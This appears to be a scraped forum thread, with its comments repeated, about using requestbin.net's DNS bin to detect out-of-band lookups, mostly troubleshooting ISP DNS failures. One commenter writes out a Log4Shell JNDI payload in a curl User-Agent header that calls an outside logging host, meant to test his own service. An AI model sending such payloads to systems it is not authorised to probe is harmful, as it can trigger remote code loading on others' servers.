3 ms·

Looks like https://requestbin.net/dns https://requestbin.net/dns is what you want, no? I set one up (free, no account) and then when I did an nslookup or curl

by jffry 5y ago

Looks like https://requestbin.net/dns https://requestbin.net/dns is what you want, no? I set one up (free, no account) and then when I did an nslookup or curl I saw the DNS hits coming in

morpheuskafka 5y ago
Yep, that's exactly what I was after. Tried a few google searches but it was just bringing up tools to test DNS propagation.
fomine3 5y ago
TIL. this looks useful for various use.
philh 5y ago
I don't really know what's going on here, so to clarify... it gives "simple checking example" nslookup mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net but when I run that in my terminal I get the response ;; Got SERVFAIL reply from 83.146.21.6, trying next server Server: 212.158.248.6 Address: 212.158.248.6#53 ** server can't find mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net: SERVFAIL And nothing shows up in "received data" on the website. Is that expected? Should I be running the dnsbinclient.py they provide? (I don't have the websocket module installed right now.) I did run `curl a54c4d391bad1b48ebc3.d.requestbin.net` before the nslookup, could that have made a difference here?
- philh 5y ago
  Like, my understanding from reading the thread was that I'd be able to run this and make requests to my servers setting my User-Agent, like curl -A '${jndi:ldap:test.a54c4d391bad1b48ebc3.d.requestbin.net/abc}' https://my-service.net and if they're vulnerable (at least through logging user-agents, I know there are other possible avenues) something would show up on the website. Is it more complicated than that?
- jffry 5y ago
  I'm not Requestbin's creator so I don't know. A simple nslookup or curl does work for me, with my system's DNS servers set to Cloudflare (1.1.1.1) or Google (8.8.8.8) It looks like Vodafone (I assume this is your ISP) DNS servers aren't properly resolving the name for some reason. You could try bypassing it with dig, and directly ask a different DNS server to resolve it: dig @1.1.1.1 A whatever.a54c4d391bad1b48ebc3.d.requestbin.net
  - philh 5y ago
    Thanks! Yeah, `dig` with no DNS gives me a SERVFAIL but `dig @1.1.1.1` works. My ISP isn't Vodafone directly (I take it you think that because 83.146.21.6 belongs to them?) but might be a Vodafone reseller or something.
    - jffry 5y ago
      Yeah, I assumed since you were querying their DNS that you were a client, but makes sense it might be repackaged to other ISPs.

by jffry 5y ago

Looks like https://requestbin.net/dns https://requestbin.net/dns is what you want, no? I set one up (free, no account) and then when I did an nslookup or curl I saw the DNS hits coming in

morpheuskafka 5y ago

Yep, that's exactly what I was after. Tried a few google searches but it was just bringing up tools to test DNS propagation.

fomine3 5y ago

TIL. this looks useful for various use.

philh 5y ago

I don't really know what's going on here, so to clarify... it gives "simple checking example" nslookup mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net but when I run that in my terminal I get the response ;; Got SERVFAIL reply from 83.146.21.6, trying next server Server: 212.158.248.6 Address: 212.158.248.6#53 ** server can't find mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net: SERVFAIL And nothing shows up in "received data" on the website. Is that expected? Should I be running the dnsbinclient.py they provide? (I don't have the websocket module installed right now.) I did run `curl a54c4d391bad1b48ebc3.d.requestbin.net` before the nslookup, could that have made a difference here?

philh 5y ago
Like, my understanding from reading the thread was that I'd be able to run this and make requests to my servers setting my User-Agent, like curl -A '${jndi:ldap:test.a54c4d391bad1b48ebc3.d.requestbin.net/abc}' https://my-service.net and if they're vulnerable (at least through logging user-agents, I know there are other possible avenues) something would show up on the website. Is it more complicated than that?
jffry 5y ago
I'm not Requestbin's creator so I don't know. A simple nslookup or curl does work for me, with my system's DNS servers set to Cloudflare (1.1.1.1) or Google (8.8.8.8) It looks like Vodafone (I assume this is your ISP) DNS servers aren't properly resolving the name for some reason. You could try bypassing it with dig, and directly ask a different DNS server to resolve it: dig @1.1.1.1 A whatever.a54c4d391bad1b48ebc3.d.requestbin.net
- philh 5y ago
  Thanks! Yeah, `dig` with no DNS gives me a SERVFAIL but `dig @1.1.1.1` works. My ISP isn't Vodafone directly (I take it you think that because 83.146.21.6 belongs to them?) but might be a Vodafone reseller or something.
  - jffry 5y ago
    Yeah, I assumed since you were querying their DNS that you were a client, but makes sense it might be repackaged to other ISPs.